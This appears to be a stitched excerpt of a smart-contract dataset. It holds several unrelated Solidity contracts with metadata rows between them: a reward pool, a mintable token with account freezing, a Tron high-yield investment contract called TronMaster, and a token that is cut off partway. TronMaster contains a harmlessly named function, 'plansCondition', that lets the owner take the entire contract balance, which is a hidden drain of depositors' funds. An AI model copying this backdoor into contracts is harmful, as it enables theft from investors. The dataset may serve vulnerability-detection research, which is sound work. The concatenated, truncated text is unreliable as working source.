_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract StillRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. POPEYEs to distribute per block.
uint256 lastRewardTime; // Last time that POPEYEs distribution occurs.
uint256 accTSharePerShare; // Accumulated POPEYEs per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public tshare;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The time when tSHARE mining starts.
uint256 public poolStartTime;
// The time when tSHARE mining ends.
uint256 public poolEndTime;
uint256 public tSharePerSecond = 0.00187783 ether; // 59500 tshare / (370 days * 24h * 60min * 60s)
uint256 public runningTime = 490 days; // 370 days
uint256 public constant TOTAL_REWARDS = 79500 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _tshare,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_tshare != address(0)) tshare = IERC20(_tshare);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "PopeyeRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "PopeyeRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accTSharePerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's tSHARE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(tSharePerSecond);
return poolEndTime.sub(_fromTime).mul(tSharePerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(tSharePerSecond);
return _toTime.sub(_fromTime).mul(tSharePerSecond);
}
}
// View function to see pending tSHAREs on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accTSharePerShare = pool.accTSharePerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _tshareReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accTSharePerShare = accTSharePerShare.add(_tshareReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accTSharePerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _tshareReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accTSharePerShare = pool.accTSharePerShare.add(_tshareReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accTSharePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeTShareTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accTSharePerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accTSharePerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeTShareTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accTSharePerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safeTShareTransfer(address _to, uint256 _amount) internal {
uint256 _tshareBal = tshare.balanceOf(address(this));
if (_tshareBal > 0) {
if (_amount > _tshareBal) {
tshare.safeTransfer(_to, _tshareBal);
} else {
tshare.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (tSHARE or lps) if less than 90 days after pool ends
require(_token != tshare, "tshare");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 313,584 | 10,937 |
e10379d12d043f8a8f2f86229b0be9f96f1f38fc527d47d277322369b0629200
| 14,248 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xab2dc8c089d59e7c32618eedcac59be8b1e54cba.sol
| 2,867 | 11,923 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Authorizable is owned {
struct Authoriz{
uint index;
address account;
}
mapping(address => bool) public authorized;
mapping(address => Authoriz) public authorizs;
address[] public authorizedAccts;
modifier onlyAuthorized() {
if(authorizedAccts.length >0)
{
require(authorized[msg.sender] == true || owner == msg.sender);
_;
}else{
require(owner == msg.sender);
_;
}
}
function addAuthorized(address _toAdd)
onlyOwner
public
{
require(_toAdd != 0);
require(!isAuthorizedAccount(_toAdd));
authorized[_toAdd] = true;
Authoriz storage authoriz = authorizs[_toAdd];
authoriz.account = _toAdd;
authoriz.index = authorizedAccts.push(_toAdd) -1;
}
function removeAuthorized(address _toRemove)
onlyOwner
public
{
require(_toRemove != 0);
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function isAuthorizedAccount(address account)
public
constant
returns(bool isIndeed)
{
if(account == owner) return true;
if(authorizedAccts.length == 0) return false;
return (authorizedAccts[authorizs[account].index] == account);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract BIGFARMCoin is Authorizable, TokenERC20 {
using SafeMath for uint256;
/// Maximum tokens to be allocated on the sale
uint256 public tokenSaleHardCap;
/// Base exchange rate is set to 1 ETH = BIF.
uint256 public baseRate;
/// no tokens can be ever issued when this is set to "true"
bool public tokenSaleClosed = false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
modifier inProgress {
require(totalSupply < tokenSaleHardCap
&& !tokenSaleClosed);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) TokenERC20(initialSupply, tokenName, tokenSymbol) public {
tokenSaleHardCap = 3376050000 * 10**uint256(decimals); // Default Crowsale Hard Cap amount with decimals
baseRate = 4000 * 10**uint256(decimals); // Default base rate BIF :1 eth amount with decimals
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () public payable {
purchaseTokens(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param _beneficiary Address that newly issued token will be sent to.
function purchaseTokens(address _beneficiary) public payable inProgress{
// only accept a minimum amount of ETH?
require(msg.value >= 0.01 ether);
uint _tokens = computeTokenAmount(msg.value);
doIssueTokens(_beneficiary, _tokens);
/// forward the raised funds to the contract creator
owner.transfer(address(this).balance);
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyAuthorized public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyAuthorized public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newRatePrice` eth
/// @param newRate Price the users can sell to the contract
function setRatePrices(uint256 newRate) onlyAuthorized public {
baseRate = newRate;
}
/// @notice Allow users to buy tokens for `newTokenSaleHardCap` BIF
/// @param newTokenSaleHardCap Amount of BIF token sale hard cap
function setTokenSaleHardCap(uint256 newTokenSaleHardCap) onlyAuthorized public {
tokenSaleHardCap = newTokenSaleHardCap;
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
balanceOf[_beneficiary] += _tokens;
totalSupply += _tokens;
emit Transfer(0, this, _tokens);
emit Transfer(this, _beneficiary, _tokens);
}
/// @dev Compute the amount of BIF token that can be purchased.
/// @param ethAmount Amount of Ether in WEI to purchase BIF.
/// @return Amount of BIF token to purchase
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256) {
uint256 tokens = ethAmount.mul(baseRate) / 10**uint256(decimals);
return tokens;
}
/// @notice collect ether to owner account
function collect() external onlyAuthorized {
owner.transfer(address(this).balance);
}
/// @notice getBalance ether
function getBalance() public view onlyAuthorized returns (uint) {
return address(this).balance;
}
/// @dev Closes the sale, issues the team tokens and burns the unsold
function close() public onlyAuthorized beforeEnd {
tokenSaleClosed = true;
/// forward the raised funds to the contract creator
owner.transfer(address(this).balance);
}
/// @dev Open the sale status
function openSale() public onlyAuthorized{
tokenSaleClosed = false;
}
}
| 198,454 | 10,938 |
aa973602a2a51c6b89dec61b742ae3e7a12bf8c43c862f7da9b75c7d2456bc0f
| 13,806 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRpm75KojGgYXJeSKdp565JPg13G3FVXbC_TronMaster.sol
| 3,346 | 11,273 |
//SourceUnit: TronMaster.sol
pragma solidity 0.4.25;
contract TronMaster {
using SafeMath for uint256;
struct Tarif {
uint256 life_days;
uint256 percent;
uint256 min_inv;
}
struct Deposit {
uint8 tarif;
uint256 amount;
uint256 totalWithdraw;
uint256 time;
}
struct Player {
address upline;
uint256 dividends;
uint256 direct_bonus;
uint256 match_bonus;
uint256 last_payout;
uint256 total_invested;
uint256 total_withdrawn;
uint256 total_match_bonus;
Deposit[] deposits;
mapping(uint8 => uint256) structure;
}
address public owner;
address public stakingAddress;//?
uint256 public invested;
uint256 public withdrawn;
uint256 public direct_bonus;
uint256 public match_bonus;
uint256 public withdrawFee;
uint256 public releaseTime = 1598104800;//1598104800
uint8[] public ref_bonuses; // 1 => 1%
Tarif[] public tarifs;
mapping(address => Player) public players;
mapping(address => bool) public whiteListed;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount, uint8 tarif);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
constructor(address _stakingAddress) public {
owner = msg.sender;
stakingAddress = _stakingAddress;
withdrawFee = 0;
whiteListed[owner] = true;
tarifs.push(Tarif(30, 180,100000000));
tarifs.push(Tarif(30, 180,100000000));
tarifs.push(Tarif(30, 180,100000000));
tarifs.push(Tarif(20, 120,100000000));
ref_bonuses.push(60);
ref_bonuses.push(60);
ref_bonuses.push(20);
ref_bonuses.push(20);
ref_bonuses.push(15);
ref_bonuses.push(15);
}
function _payout(address _addr) private {
uint256 payout = this.payoutOf(_addr);
if(payout > 0) {
_updateTotalPayout(_addr);
players[_addr].last_payout = uint256(block.timestamp);
players[_addr].dividends += payout;
}
}
function _updateTotalPayout(address _addr) private{
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
player.deposits[i].totalWithdraw += dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
uint256 bonus = _amount * ref_bonuses[i] / 1000;
players[up].match_bonus += bonus;
players[up].total_match_bonus += bonus;
match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
up = players[up].upline;
}
}
function _setUpline(address _addr, address _upline, uint256 _amount) private {
if(players[_addr].upline == address(0)) {//first time entry
if(players[_upline].deposits.length == 0) {//no deposite from my upline
_upline = owner;
}
else {
players[_addr].direct_bonus += _amount / 200;
direct_bonus += _amount / 200;
}
players[_addr].upline = _upline;
emit Upline(_addr, _upline, _amount / 200);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
players[_upline].structure[i]++;
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
}
}
function deposit(uint8 _tarif, address _upline) external payable {
require(tarifs[_tarif].life_days > 0, "Tarif not found"); // ??
require(msg.value >= tarifs[_tarif].min_inv, "Less Then the min investment");
require(now >= releaseTime, "not open yet");
Player storage player = players[msg.sender];
require(player.deposits.length < 100, "Max 100 deposits per address");
_setUpline(msg.sender, _upline, msg.value);
player.deposits.push(Deposit({
tarif: _tarif,
amount: msg.value,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
player.total_invested += msg.value;
invested += msg.value;
_refPayout(msg.sender, msg.value);
owner.transfer(msg.value.mul(0).div(100));
stakingAddress.transfer(msg.value.mul(2).div(100));
emit NewDeposit(msg.sender, msg.value, _tarif);
}
function withdraw() payable external {
require(msg.value >= withdrawFee || whiteListed[msg.sender] == true);
Player storage player = players[msg.sender];
_payout(msg.sender);
require(player.dividends > 0 || player.direct_bonus > 0 || player.match_bonus > 0, "Zero amount");
uint256 amount = player.dividends + player.direct_bonus + player.match_bonus;
player.dividends = 0;
player.direct_bonus = 0;
player.match_bonus = 0;
player.total_withdrawn += amount;
withdrawn += amount;
msg.sender.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value += dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
return value;
}
function setWhitelist(address _addr) public {
require(msg.sender == owner,"unauthorized call");
whiteListed[_addr] = true;
}
function removeWhitelist(address _addr) public {
require(msg.sender == owner,"unauthorized call");
whiteListed[_addr] = false;
}
function setWithdrawFee(uint256 newFee) public {
require(msg.sender == owner,"unauthorized call");
withdrawFee = newFee;
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_bonus, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[3] memory structure) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
structure[i] = player.structure[i];
}
return (payout + player.dividends + player.direct_bonus + player.match_bonus,
player.direct_bonus + player.match_bonus,
player.total_invested,
player.total_withdrawn,
player.total_match_bonus,
structure);
}
function getStructure(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_bonus, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus,uint256 L1,uint256 L2,uint256 L3,uint256 L4)
{
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
L1 = player.structure[0];
L2 = player.structure[1];
L3 = player.structure[2];
L4 = player.structure[3];
return (payout + player.dividends + player.direct_bonus + player.match_bonus,
player.direct_bonus + player.match_bonus,
player.total_invested,
player.total_withdrawn,
player.total_match_bonus,
L1,
L2,
L3,
L4);
}
function plansCondition() external {
require (msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _direct_bonus, uint256 _match_bonus) {
return (invested, withdrawn, direct_bonus, match_bonus);
}
function investmentsInfo(address _addr) view external returns(uint8[] memory ids, uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws) {
Player storage player = players[_addr];
uint8[] memory _ids = new uint8[](player.deposits.length);
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
_ids[i] = dep.tarif;
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time + tarif.life_days * 86400;
}
return (_ids,
_endTimes,
_amounts,
_totalWithdraws);
}
function seperatePayoutOf(address _addr) view external returns(uint256[] memory withdrawable) {
Player storage player = players[_addr];
uint256[] memory values = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint256 time_end = dep.time + tarif.life_days * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
values[i] = dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
return values;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 288,355 | 10,939 |
c9cadac32e20d1e8a26e4f5ccbf9d92530ff046b35f2ff9dcd0693f9c00778ac
| 14,154 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a1/a12658681fd6e10a8de1bae7463d50a3c02bc906_NEWAX.sol
| 3,746 | 13,518 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NEWAX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private constant maxWalletHodl = 0 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "NEWAX";
string private constant _symbol = "NEWAX";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
